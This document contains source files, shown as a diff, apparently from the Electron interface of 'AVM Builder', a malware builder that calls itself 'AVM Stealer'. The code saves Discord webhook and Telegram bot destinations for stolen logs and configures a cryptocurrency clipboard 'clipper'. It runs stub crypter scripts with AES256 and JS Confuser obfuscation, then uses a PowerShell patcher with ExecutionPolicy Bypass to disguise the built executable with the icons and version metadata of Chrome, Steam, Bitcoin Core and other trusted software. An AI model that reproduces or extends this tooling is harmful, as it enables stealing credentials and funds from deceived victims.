console.error('Error parsing checkbox.json:', parseError);
reject(parseError);
}
});
});
}
function findAppExe() {
return new Promise((resolve, reject) => {
const dirsToCheck = [path.resolve(__dirname, '../../'), path.resolve(__dirname, '../')];
let foundPath = null;
for (const dir of dirsToCheck) {
const filePath = path.join(dir, 'app.exe');
if (fs.existsSync(filePath)) {
foundPath = filePath;
break;
}
}
if (foundPath) {
resolve(foundPath);
} else {
reject(new Error('app.exe not found'));
}
});
}
function displayMessagesLocal(messages, isReadyToFinalize) {
return new Promise((resolve) => {
let index = 0;
function showNextMessage() {
if (index < messages.length) {
appendToOutputBox(messages[index]);
index++;
setTimeout(showNextMessage, 1600);
} else if (isReadyToFinalize && isReadyToFinalize()) {
resolve();
} else {
setTimeout(showNextMessage, 500);
}
}
showNextMessage();
});
}
buildButton.addEventListener('click', () => {
const info = checkInfo();
if (!info) {
window.location.href = 'info.html?error=missing_info';
return;
}
getCheckboxStates().then(checkboxStates => {
const checkedCheckboxIDs = Object.keys(checkboxStates).filter(id => checkboxStates[id]);
const checkedCheckboxIDsStr = checkedCheckboxIDs.join(' | ');
let messages = [
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Build initialized!`,
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Features Saved!`,
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Clipper adress saved!`,
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Method: ${info.method}`
];
const { method, discordWebhookURL, telegramBotToken, telegramChatID } = info;
outputBox.innerHTML = '';
let compilationReady = false;
const displayPromise = displayMessagesLocal(messages, () => compilationReady);
const featuresFilePath = path.resolve(__dirname, '../../stub/features.js');
runScriptFile(featuresFilePath, false)
.then(() => {
let scriptFilePath;
if (method === 'Discord Webhook') {
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Discord Webhook URL: ${discordWebhookURL}`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Features chosen: ${checkedCheckboxIDsStr}`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> AES256 Encryption Success!`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> JS Confuser Encryption Success!`);
scriptFilePath = path.resolve(__dirname, '../../stub/crypter.js');
} else if (method === 'Telegram Bot') {
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Telegram Bot Token: ${telegramBotToken}`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Telegram Chat ID: ${telegramChatID}`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Features chosen: ${checkedCheckboxIDsStr}`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> AES256 Encryption Success!`);
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> JS Confuser Encryption Success!`);
scriptFilePath = path.resolve(__dirname, '../../stub/cryptertele.js');
}
if (scriptFilePath) {
return runScriptFile(scriptFilePath).then(() => {
compilationReady = true;
});
} else {
throw new Error('No valid script file path provided');
}
})
.then(() => displayPromise)
.then(() => {
const div = document.createElement('div');
div.id = 'finalizing-msg';
div.className = 'log-message';
div.innerHTML = `<i class='bx bx-sync bx-spin' style='color:#6699CC'></i> <span class="dots">Finalizing</span>`;
outputBox.appendChild(div);
outputBox.scrollTop = outputBox.scrollHeight;
return delay(2000);
})
.then(() => build())
.then(() => {
const msg = document.getElementById('finalizing-msg');
if (msg) msg.remove();
helpButton.style.display = 'block';
newButton.style.display = 'block';
const modal = document.getElementById('resourceModal');
if (modal && helpButton) {
helpButton.onclick = function () {
modal.classList.add('active');
if (window.initResourcePopup) {
window.initResourcePopup();
}
};
}
})
.catch(error => {
const msg = document.getElementById('finalizing-msg');
if (msg) msg.remove();
console.error('Error during build process:', error);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error during build process: ${error.message}`);
});
}).catch(error => {
console.error('Error getting checkbox states:', error);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error getting checkbox states: ${error.message}`);
});
});
function handleButtonClick() {
findAppExe()
.then(filePath => {
showNotification(`Full path of the app.exe file: ${filePath}`, 'info');
})
.catch(error => {
showNotification(`Error: ${error.message}`, 'error');
});
}
newButton.addEventListener('click', () => {
if (window.applyDefaultResources) {
window.applyDefaultResources();
} else {
console.error('window.applyDefaultResources not defined!');
showNotification('Error: Default logic not loaded.', 'error');
}
helpButton.style.display = 'none';
newButton.style.display = 'none';
});
});
+78
View File
@@ -0,0 +1,78 @@
const fs = require('fs');
const path = require('path');
const sidebar = document.querySelector('.sidebar');
const togglebtn = document.querySelector('.toggle-btn');
togglebtn.addEventListener('click', () => {
sidebar.classList.toggle('active');
});
const jsonFilePath = path.join(__dirname, 'checkbox.json');
function saveCheckboxStatesToFile() {
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
const states = {};
checkboxes.forEach(checkbox => {
states[checkbox.id] = checkbox.checked;
});
fs.writeFile(jsonFilePath, JSON.stringify(states, null, 2), (err) => {
if (err) {
console.error('Error writing to checkbox.json:', err);
} else {
console.log('Checkbox states saved to file:', states);
}
});
}
function loadCheckboxStatesFromFile() {
try {
const data = fs.readFileSync(jsonFilePath, 'utf8');
const states = JSON.parse(data);
console.log('Checkbox states loaded from file:', states);
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
checkboxes.forEach(checkbox => {
checkbox.checked = states[checkbox.id] || false;
});
} catch (err) {
console.error('Error reading checkbox.json file:', err);
}
}
document.addEventListener('DOMContentLoaded', () => {
function saveCheckboxStates() {
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
const states = {};
checkboxes.forEach(checkbox => {
states[checkbox.id] = checkbox.checked;
});
localStorage.setItem('checkboxStates', JSON.stringify(states));
saveCheckboxStatesToFile();
}
function loadCheckboxStates() {
const states = JSON.parse(localStorage.getItem('checkboxStates')) || {};
console.log('Checkbox states loaded from localStorage:', states);
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
checkboxes.forEach(checkbox => {
checkbox.checked = states[checkbox.id] || false;
});
}
function updateToggleButton() {
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked);
document.getElementById('toggleButton').textContent = allChecked ? 'Uncheck All' : 'Check All';
}
function toggleAllCheckboxes() {
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
const checkAll = document.getElementById('toggleButton').textContent === 'Check All';
checkboxes.forEach(checkbox => {
checkbox.checked = checkAll;
});
saveCheckboxStates();
updateToggleButton();
}
loadCheckboxStates();
loadCheckboxStatesFromFile();
updateToggleButton();
document.querySelectorAll('.checkbox-item input[type="checkbox"]').forEach(checkbox => {
checkbox.addEventListener('change', () => {
saveCheckboxStates();
updateToggleButton();
});
});
document.getElementById('toggleButton').addEventListener('click', toggleAllCheckboxes);
});
+247
View File
@@ -0,0 +1,247 @@
const sidebar = document.querySelector('.sidebar');
const togglebtn = document.querySelector('.toggle-btn');
togglebtn.addEventListener('click', () => {
sidebar.classList.toggle('active');
});
document.addEventListener('DOMContentLoaded', () => {
const discordInput = document.getElementById('input1');
const telegramTokenInput = document.getElementById('input2');
const telegramChatIdInput = document.getElementById('input3');
const testButton = document.getElementById('testButton');
const saveButton = document.querySelector('label[for="input-file"]');
const helpButton = document.getElementById('helpButton');
const clearButton = document.getElementById('clearButton');
const { ipcRenderer } = require('electron');
const urlParams = new URLSearchParams(window.location.search);
if (urlParams.get('error') === 'missing_info') {
setTimeout(() => {
showNotification('Please provide and SAVE your Log Informations before building.', 'warning');
}, 500);
}
async function loadSavedInfo() {
try {
const data = await ipcRenderer.invoke('get-info');
if (data) {
discordInput.value = data.discordWebhookURL || '';
telegramTokenInput.value = data.telegramBotToken || '';
telegramChatIdInput.value = data.telegramChatID || '';
localStorage.setItem('discordWebhookURL', discordInput.value);
localStorage.setItem('telegramBotToken', telegramTokenInput.value);
localStorage.setItem('telegramChatID', telegramChatIdInput.value);
updateInputStates();
}
} catch (error) {
console.error('Failed to load saved info:', error);
}
}
loadSavedInfo();
async function sendTestEmbed(webhookURL) {
const testEmbed = {
title: '**Your Webhook Works Perfectly ✅**',
author: {
name: 'AVM Builder',
icon_url: 'https://i.ibb.co/84zCWC73/icon.png'
},
color: 0x303037,
footer: {
text: 'AVM | Made by @WallGod69',
},
};
try {
await axios.post(webhookURL, { embeds: [testEmbed] });
showNotification('Discord Webhook Test Message Sent Successfully!', 'success');
} catch (error) {
console.error('Failed to send test message to Discord Webhook.', error);
if (error.response) {
showNotification(`Failed to send test message to Discord Webhook.\nStatus: ${error.response.status}\nMessage: ${error.response.data}`, 'error');
} else {
showNotification('Failed to send test message to Discord Webhook.\nError: ' + error.message, 'error');
}
}
}
async function sendTestMessage(botToken, chatId) {
const apiUrl = `https://api.telegram.org/bot${botToken}/sendMessage`;
const testMessage = {
chat_id: chatId,
text: 'Your Telegram Bot is ready to receive logs. ✅\n\n━━━━━━\nAVM Stealer',
parse_mode: 'Markdown',
};
try {
await axios.post(apiUrl, testMessage);
showNotification('Telegram Bot Test Message Sent Successfully!', 'success');
} catch (error) {
console.error('Failed to send test message to Telegram Bot.', error);
if (error.response) {
showNotification(`Failed to send test message to Telegram Bot.\nStatus: ${error.response.status}\nMessage: ${error.response.data.description}`, 'error');
} else {
showNotification('Failed to send test message to Telegram Bot.\nError: ' + error.message, 'error');
}
}
}
function isValidDiscordWebhookURL(url) {
const regex = /^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]{68}$/;
return regex.test(url);
}
function isValidTelegramBotToken(token) {
const regex = /^\d{9,12}:[\w-]{35}$/;
return regex.test(token);
}
function isValidTelegramChatID(chatID) {
const regex = /^-?\d+$/;
return regex.test(chatID);
}
function updateInputStates() {
const discordText = discordInput.value.trim();
const telegramTokenText = telegramTokenInput.value.trim();
const telegramChatIdText = telegramChatIdInput.value.trim();
if (discordText) {
telegramTokenInput.disabled = true;
telegramChatIdInput.disabled = true;
telegramTokenInput.classList.add('locked');
telegramChatIdInput.classList.add('locked');
discordInput.disabled = false;
discordInput.classList.remove('locked');
} else if (telegramTokenText || telegramChatIdText) {
discordInput.disabled = true;
discordInput.classList.add('locked');
telegramTokenInput.disabled = false;
telegramChatIdInput.disabled = false;
telegramTokenInput.classList.remove('locked');
telegramChatIdInput.classList.remove('locked');
} else {
discordInput.disabled = false;
telegramTokenInput.disabled = false;
telegramChatIdInput.disabled = false;
discordInput.classList.remove('locked');
telegramTokenInput.classList.remove('locked');
telegramChatIdInput.classList.remove('locked');
}
}
discordInput.addEventListener('input', updateInputStates);
telegramTokenInput.addEventListener('input', updateInputStates);
telegramChatIdInput.addEventListener('input', updateInputStates);
function saveInfo() {
const discordWebhookURL = discordInput.value.trim();
const telegramBotToken = telegramTokenInput.value.trim();
const telegramChatID = telegramChatIdInput.value.trim();
if ((discordWebhookURL && isValidDiscordWebhookURL(discordWebhookURL)) ||
(telegramBotToken && isValidTelegramBotToken(telegramBotToken) && telegramChatID && isValidTelegramChatID(telegramChatID))) {
localStorage.setItem('discordWebhookURL', discordWebhookURL);
localStorage.setItem('telegramBotToken', telegramBotToken);
localStorage.setItem('telegramChatID', telegramChatID);
const data = {
discordWebhookURL: discordWebhookURL,
telegramBotToken: telegramBotToken,
telegramChatID: telegramChatID
};
const fs = require('fs');
const path = require('path');
fs.writeFile(path.join(__dirname, '..', 'info.json'), JSON.stringify(data, null, 2), (err) => {
if (err) {
console.error('Failed to save info to JSON file.', err);
} else {
console.log('Information saved to JSON file successfully!');
}
});
ipcRenderer.invoke('save-info', data).then(() => {
showNotification('Information saved successfully!', 'success');
}).catch(err => {
console.error('Failed to save to appdata:', err);
showNotification('Failed to save settings to AppData.', 'error');
});
} else {
showNotification('Please provide a valid Discord Webhook URL or valid Telegram Bot Token and Chat ID before saving.', 'error');
}
}
saveButton.addEventListener('click', () => {
saveInfo();
});
clearButton.addEventListener('click', async () => {
discordInput.value = '';
telegramTokenInput.value = '';
telegramChatIdInput.value = '';
localStorage.removeItem('discordWebhookURL');
localStorage.removeItem('telegramBotToken');
localStorage.removeItem('telegramChatID');
updateInputStates();
const data = {
discordWebhookURL: '',
telegramBotToken: '',
telegramChatID: ''
};
try {
await ipcRenderer.invoke('save-info', data);
const fs = require('fs');
const path = require('path');
fs.writeFile(path.join(__dirname, '..', 'info.json'), JSON.stringify(data, null, 2), (err) => {
if (err) console.error('Failed to clear info.json:', err);
});
showNotification('Information cleared successfully!', 'info');
} catch (err) {
console.error('Failed to clear info:', err);
showNotification('Failed to clear settings.', 'error');
}
});
testButton.addEventListener('click', () => {
const discordWebhookURL = discordInput.value.trim();
const telegramBotToken = telegramTokenInput.value.trim();
const telegramChatID = telegramChatIdInput.value.trim();
if (discordWebhookURL && isValidDiscordWebhookURL(discordWebhookURL)) {
sendTestEmbed(discordWebhookURL);
} else if (discordWebhookURL) {
showNotification('Please provide a valid Discord Webhook URL.', 'error');
}
if (telegramBotToken && isValidTelegramBotToken(telegramBotToken) && telegramChatID && isValidTelegramChatID(telegramChatID)) {
sendTestMessage(telegramBotToken, telegramChatID);
} else if (telegramBotToken || telegramChatID) {
showNotification('Please provide a valid Telegram Bot Token and Chat ID.', 'error');
}
if (!discordWebhookURL && (!telegramBotToken || !telegramChatID)) {
showNotification('Please provide at least one valid webhook URL or bot token and chat ID.', 'warning');
}
});
function showError(input, bubble) {
bubble.classList.add('show');
input.style.borderColor = '#ff4757';
setTimeout(() => {
bubble.classList.remove('show');
input.style.borderColor = 'rgba(255, 255, 255, 0.1)';
input.value = '';
updateInputStates();
}, 3000);
}
[discordInput, telegramTokenInput, telegramChatIdInput].forEach(input => {
input.addEventListener('change', () => {
const val = input.value.trim();
if (val === '') return;
const bubble = input.parentElement.querySelector('.error-bubble');
let isValid = false;
if (input === discordInput) {
isValid = isValidDiscordWebhookURL(val);
} else if (input === telegramTokenInput) {
isValid = isValidTelegramBotToken(val);
} else if (input === telegramChatIdInput) {
isValid = isValidTelegramChatID(val);
}
if (!isValid) {
showError(input, bubble);
}
});
});
updateInputStates();
});
function openHelp(type) {
const urls = {
discord: 'https://youtu.be/fKksxz2Gdnc?si=T3rRJJ-pR5o74zG1',
telegramToken: 'https://t.me/BotFather',
telegramChat: 'https://t.me/chatIDrobot'
};
const url = urls[type];
if (url) {
require('electron').shell.openExternal(url);
}
}
function showHelpMessage() {
showNotification('Click on the question mark icons (?) next to each input field for more information.', 'info');
}
document.getElementById('helpButton').addEventListener('click', showHelpMessage);
+39
View File
@@ -0,0 +1,39 @@
function showNotification(message, type = 'info', duration = 3000) {
let container = document.getElementById('notification-container');
if (!container) {
container = document.createElement('div');
container.id = 'notification-container';
document.body.appendChild(container);
}
const notification = document.createElement('div');
notification.className = `notification ${type}`;
let iconClass = 'bx-info-circle';
if (type === 'success') iconClass = 'bx-check-circle';
if (type === 'error') iconClass = 'bx-x-circle';
notification.innerHTML = `
<i class='bx ${iconClass}'></i>
<div class="notification-content">
<div class="notification-message">${message}</div>
</div>
`;
container.appendChild(notification);
notification.offsetHeight;
requestAnimationFrame(() => {
notification.classList.add('show');
});
const remove = () => {
notification.classList.remove('show');
setTimeout(() => {
if (notification.parentNode) {
notification.remove();
}
}, 400);
};
if (duration > 0) {
setTimeout(remove, duration);
}
return { remove };
}
+209
View File
@@ -0,0 +1,209 @@
console.log('[Resource Popup] Script file loaded - Encoding Fix');
const PREDEFINED_METADATA = {
'chrome.ico': { productName: 'Google Chrome', companyName: 'Google LLC', description: 'Google Chrome Web Browser', copyright: 'Copyright (c) 2024 Google LLC', fileVersion: '120.0.6099.130', productVersion: '120.0.6099.130' },
'epic games.ico': { productName: 'Epic Games Launcher', companyName: 'Epic Games, Inc.', description: 'Epic Games Launcher Setup', copyright: 'Copyright (c) 2024 Epic Games, Inc.', fileVersion: '15.17.1.0', productVersion: '15.17.1.0' },
'obs.ico': { productName: 'OBS Studio', companyName: 'OBS Project', description: 'Open Broadcaster Software', copyright: 'Copyright (c) 2024 OBS Project', fileVersion: '30.0.2.0', productVersion: '30.0.2.0' },
'setup.ico': { productName: 'Setup Installer', companyName: 'Microsoft Corporation', description: 'Windows Setup Installer', copyright: 'Copyright (c) 2024 Microsoft Corporation', fileVersion: '10.0.19041.1', productVersion: '10.0.19041.1' },
'steam.ico': { productName: 'Steam', companyName: 'Valve Corporation', description: 'Steam Gaming Platform', copyright: 'Copyright (c) 2024 Valve Corporation', fileVersion: '2.10.91.91', productVersion: '2.10.91.91' },
'systeminformer.ico': { productName: 'System Informer', companyName: 'Winsider Seminars & Solutions, Inc.', description: 'System Informer', copyright: 'Copyright (c) 2024 Winsider Seminars', fileVersion: '3.0.7258.0', productVersion: '3.0.7258.0' },
'bitcoin.ico': { productName: 'Bitcoin Core', companyName: 'The Bitcoin Core Developers', description: 'Bitcoin Core', copyright: 'Copyright (C) 2009-2024 The Bitcoin Core Developers', fileVersion: '28.1.0.0', productVersion: '28.1.0.0' },
'hwinfo.ico': { productName: 'System Informer', companyName: 'Winsider Seminars & Solutions, Inc.', description: 'System Informer', copyright: 'Copyright (c) 2024 Winsider Seminars', fileVersion: '3.0.7258.0', productVersion: '3.0.7258.0' }
};
let currentIconPath = null;
let resourcePopupInitialized = false;
function getRootPath() {
let cwd = process.cwd();
if (cwd.toLowerCase().endsWith('gui') || cwd.toLowerCase().endsWith('gui\\')) return path.join(cwd, '..');
return cwd;
}
window.initResourcePopup = function () {
if (resourcePopupInitialized) return;
const modal = document.getElementById('resourceModal');
const gridItems = document.querySelectorAll('.grid-item');
const btnRandomIcon = document.getElementById('btnRandomIcon');
const btnApplyResources = document.getElementById('btnApplyResources');
const iconPreview = document.getElementById('iconPreview');
const selectedIconName = document.getElementById('selectedIconName');
const closeBtn = document.querySelector('.close-modal');
if (closeBtn) closeBtn.onclick = () => modal.classList.remove('active');
const btnChooseIcon = document.getElementById('btnChooseIcon');
const iconFileInput = document.getElementById('iconFileInput');
if (btnChooseIcon && iconFileInput) {
btnChooseIcon.onclick = () => iconFileInput.click();
iconFileInput.onchange = (e) => {
const file = e.target.files[0];
if (file) {
updateIconPreview(file.path, true);
}
};
}
function updateIconPreview(filePath, isCustom = false) {
currentIconPath = filePath;
let filename = filePath.split(/[/\\]/).pop();
const m = PREDEFINED_METADATA[filename.toLowerCase()];
if (m) {
document.getElementById('inputCompanyName').value = m.companyName;
document.getElementById('inputProductName').value = m.productName;
document.getElementById('inputDescription').value = m.description;
document.getElementById('inputCopyright').value = m.copyright;
document.getElementById('inputFileVersion').value = m.fileVersion || '1.0.0.0';
document.getElementById('inputProductVersion').value = m.productVersion || '1.0.0.0';
}
if (iconPreview) {
if (isCustom) {
try {
const iconData = fs.readFileSync(filePath);
const base64Icon = iconData.toString('base64');
iconPreview.src = `data:image/x-icon;base64,${base64Icon}`;
} catch (err) {
console.error('Error loading custom icon:', err);
iconPreview.src = `../../icon/default.ico`;
}
} else {
iconPreview.src = `../../icon/${filename}`;
}
iconPreview.style.display = 'block';
const placeholder = document.querySelector('.placeholder-icon');
if (placeholder) placeholder.style.display = 'none';
}
if (selectedIconName) selectedIconName.textContent = filename;
}
gridItems.forEach(item => {
item.onclick = () => updateIconPreview(path.join(getRootPath(), 'icon', item.getAttribute('data-filename')));
});
if (btnRandomIcon) {
btnRandomIcon.onclick = () => {
const keys = Object.keys(PREDEFINED_METADATA);
updateIconPreview(path.join(getRootPath(), 'icon', keys[Math.floor(Math.random() * keys.length)]));
};
}
if (btnApplyResources) {
btnApplyResources.onclick = () => {
if (btnApplyResources.classList.contains('loading')) return;
if (!currentIconPath) {
showNotification('Please select an icon!', 'error');
return;
}
const buildFolder = path.join(getRootPath(), 'build');
let exePath = path.join(buildFolder, 'App.exe');
if (!fs.existsSync(exePath)) exePath = path.join(buildFolder, 'app.exe');
if (!fs.existsSync(exePath)) {
showNotification('Executable not found in build/ folder!', 'error');
return;
}
btnApplyResources.classList.add('loading');
const originalInnerHTML = btnApplyResources.innerHTML;
btnApplyResources.innerHTML = `<i class='bx bx-loader-alt'></i> Processing...`;
let companyName = document.getElementById('inputCompanyName').value || 'Microsoft Corporation';
companyName = companyName.replace(/[^\x00-\x7F]/g, "");
window.executeRessources(exePath, currentIconPath, companyName, buildFolder, originalInnerHTML);
};
}
resourcePopupInitialized = true;
};
window.executeRessources = function (exePath, iconPath, companyName, buildFolder, originalInnerHTML) {
const { spawn } = require('child_process');
const scriptPath = path.join(buildFolder, 'ressources.ps1');
const args = [
'-ExecutionPolicy', 'Bypass',
'-File', scriptPath,
'-ExePath', exePath,
'-IconPath', iconPath,
'-CompanyName', companyName
];
const patcher = spawn('powershell.exe', args, { cwd: buildFolder });
let success = false;
patcher.stdout.on('data', (data) => {
const out = data.toString();
console.log('[Patcher Output]', out);
if (out.includes('[OK] Success')) success = true;
});
patcher.stderr.on('data', (data) => console.error('[Patcher Error]', data.toString()));
patcher.on('close', (code) => {
const btn = document.getElementById('btnApplyResources');
if (btn && originalInnerHTML) {
btn.classList.remove('loading');
btn.innerHTML = originalInnerHTML;
}
if (window.currentLoadingNotification) {
window.currentLoadingNotification.remove();
window.currentLoadingNotification = null;
}
if (code === 0 && success) {
const buildName = `Build_${Math.random().toString(36).substring(7).toUpperCase()}.exe`;
const finalPath = path.join(getRootPath(), buildName);
try {
fs.renameSync(exePath, finalPath);
showNotification(`✅ SUCCESS: ${buildName}`, 'success');
const modal = document.getElementById('resourceModal');
if (modal) modal.classList.remove('active');
} catch (e) {
showNotification('Error moving binary: ' + e.message, 'error');
}
} else {
showNotification('Patcher Failed! Check console logs.', 'error');
}
});
};
window.applyDefaultResources = function () {
const buildFolder = path.join(getRootPath(), 'build');
let exePath = path.join(buildFolder, 'App.exe');
if (!fs.existsSync(exePath)) exePath = path.join(buildFolder, 'app.exe');
if (!fs.existsSync(exePath)) {
showNotification('Executable not found in build/ folder!', 'error');
return;
}
const iconPath = path.join(getRootPath(), 'icon', 'systeminformer.ico');
const companyName = "Winsider Seminars & Solutions, Inc.";
if (!fs.existsSync(iconPath)) {
showNotification('Default icon (systeminformer.ico) not found!', 'error');
return;
}
window.currentLoadingNotification = showNotification('Applying Default Resources<span class="loading-dots"></span>', 'info', 0);
window.executeRessources(exePath, iconPath, companyName, buildFolder, null);
};
+4
View File
@@ -0,0 +1,4 @@
document.body.classList.add('fade-out');
setTimeout(() => {
document.body.classList.remove('fade-out');
}, 500);
Binary file not shown.

After

Width:  |  Height:  |  Size: 18 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 229 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 329 KiB

+198
View File
@@ -0,0 +1,198 @@
/* CSS */
::-webkit-scrollbar {
display: none;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
body {
min-height: 100vh;
background: url(img/bg.gif) no-repeat;
background-size: cover;
background-position: center;
user-select: none;
display: flex;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
width: 80px;
height: 100%;
background: transparent;
backdrop-filter: blur(4px);
padding: 6px 14px;
transition: .5s;
overflow: hidden;
z-index: 2000;
}
.sidebar.active {
width: 260px;
}
.sidebar .logo-menu {
display: flex;
white-space: nowrap;
align-items: center;
width: 100%;
height: 70px;
}
.sidebar .logo-menu .logo {
font-size: 23px;
color: #fff;
pointer-events: none;
opacity: 0;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .logo-menu .logo {
opacity: 1;
transition-delay: .2s;
}
.sidebar .logo-menu .toggle-btn {
position: absolute;
left: 50%;
transform: translateX(-50%);
width: 40px;
height: 40px;
font-size: 22px;
color: #fff;
text-align: center;
line-height: 40px;
cursor: pointer;
}
.sidebar.active .logo-menu .toggle-btn {
left: 90%;
}
.sidebar .list {
margin-top: 10px;
}
.list .list-item {
list-style: none;
width: 100%;
height: 50px;
margin: 5px 0;
line-height: 50px;
}
.list .list-item a {
display: flex;
align-items: center;
font-size: 18px;
color: #fff;
text-decoration: none;
border-radius: 6px;
white-space: nowrap;
transition: .5s;
}
.list .list-item.active a,
.list .list-item a:hover {
background: rgba(255, 255, 255, .2);
}
.list .list-item a i {
min-width: 50px;
height: 50px;
text-align: center;
line-height: 50px;
}
.sidebar .link_name {
opacity: 0;
pointer-events: none;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .link_name {
opacity: 1;
pointer-events: auto;
transition-delay: calc(.1s * var(--i));
}
.container {
flex: 1;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.maintitle {
user-select: none;
margin-bottom: 20px;
color: white;
font-weight: bold;
font-size: 20px;
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
}
.text-background {
background: rgba(255, 255, 255, 0.01);
backdrop-filter: blur(2px);
border: 1px solid rgba(255, 255, 255, 0.1);
padding: 35px;
border-radius: 12px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
max-width: 1000px;
text-align: center;
margin: 0 auto;
}
.text-background p {
color: #fff;
font-size: 18px;
line-height: 1.3;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.button-container {
position: fixed;
top: 55%;
right: 20px;
display: flex;
flex-direction: column;
align-items: center;
transform: translateY(-50%);
}
.button-container .linkButton {
display: flex;
align-items: center;
justify-content: center;
font-size: 30px;
color: #fff;
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
border-radius: 50%;
width: 60px;
height: 60px;
margin: 10px;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
text-decoration: none;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.button-container .linkButton:hover {
background: #50A6EF;
border-color: #50A6EF;
color: #fff;
transform: translateY(-3px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
+353
View File
@@ -0,0 +1,353 @@
::-webkit-scrollbar {
display: none;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
body {
min-height: 100vh;
background: url(img/bg.gif) no-repeat;
background-size: cover;
background-position: center;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
width: 80px;
height: 100%;
background: transparent;
backdrop-filter: blur(4px);
padding: 6px 14px;
transition: .5s;
overflow: hidden;
z-index: 2000;
}
.sidebar.active {
width: 260px;
}
.sidebar .logo-menu {
display: flex;
white-space: nowrap;
align-items: center;
width: 100%;
height: 70px;
}
.sidebar .logo-menu .logo {
font-size: 23px;
color: #fff;
pointer-events: none;
opacity: 0;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .logo-menu .logo {
opacity: 1;
transition-delay: .2s;
}
.sidebar .logo-menu .toggle-btn {
position: absolute;
left: 50%;
transform: translateX(-50%);
width: 40px;
height: 40px;
font-size: 22px;
color: #fff;
text-align: center;
line-height: 40px;
cursor: pointer;
}
.sidebar.active .logo-menu .toggle-btn {
left: 90%;
}
.sidebar .list {
margin-top: 10px;
}
.list .list-item {
list-style: none;
width: 100%;
height: 50px;
margin: 5px 0;
line-height: 50px;
}
.list .list-item a {
display: flex;
align-items: center;
font-size: 18px;
color: #fff;
text-decoration: none;
border-radius: 6px;
white-space: nowrap;
transition: .5s;
}
.list .list-item.active a,
.list .list-item a:hover {
background: rgba(255, 255, 255, .2);
}
.list .list-item a i {
min-width: 50px;
height: 50px;
text-align: center;
line-height: 50px;
}
.sidebar .link_name {
opacity: 0;
pointer-events: none;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .link_name {
opacity: 1;
pointer-events: auto;
transition-delay: calc(.1s * var(--i));
}
.container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
background-size: 100% 300px;
background-position: 0% 100%;
transition: background-position 0.5s;
}
.maintitle {
position: relative;
width: 100%;
max-width: 900px;
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}
.maintitle h1 {
color: white;
font-weight: bold;
font-size: 24px;
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
}
.help-button {
position: fixed;
top: 25px;
right: 25px;
z-index: 1000;
pointer-events: auto;
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
padding: 8px 20px;
border-radius: 12px;
cursor: pointer;
font-weight: 600;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
display: flex;
align-items: center;
gap: 10px;
font-size: 14px;
text-decoration: none;
user-select: none;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.help-button:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.clipper-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 15px;
width: 90%;
max-width: 900px;
margin: 10px auto;
padding: 10px;
background: rgba(255, 255, 255, 0.01);
backdrop-filter: blur(2px);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 12px;
max-height: 55vh;
overflow-y: auto;
}
.clipper-grid::-webkit-scrollbar {
display: block;
width: 6px;
}
.clipper-grid::-webkit-scrollbar-thumb {
background: rgba(255, 255, 255, 0.2);
border-radius: 10px;
}
.crypto-item {
background: rgba(255, 255, 255, 0.03);
padding: 15px;
border-radius: 12px;
border: 1px solid rgba(255, 255, 255, 0.05);
transition: all 0.3s ease;
}
.crypto-item:hover {
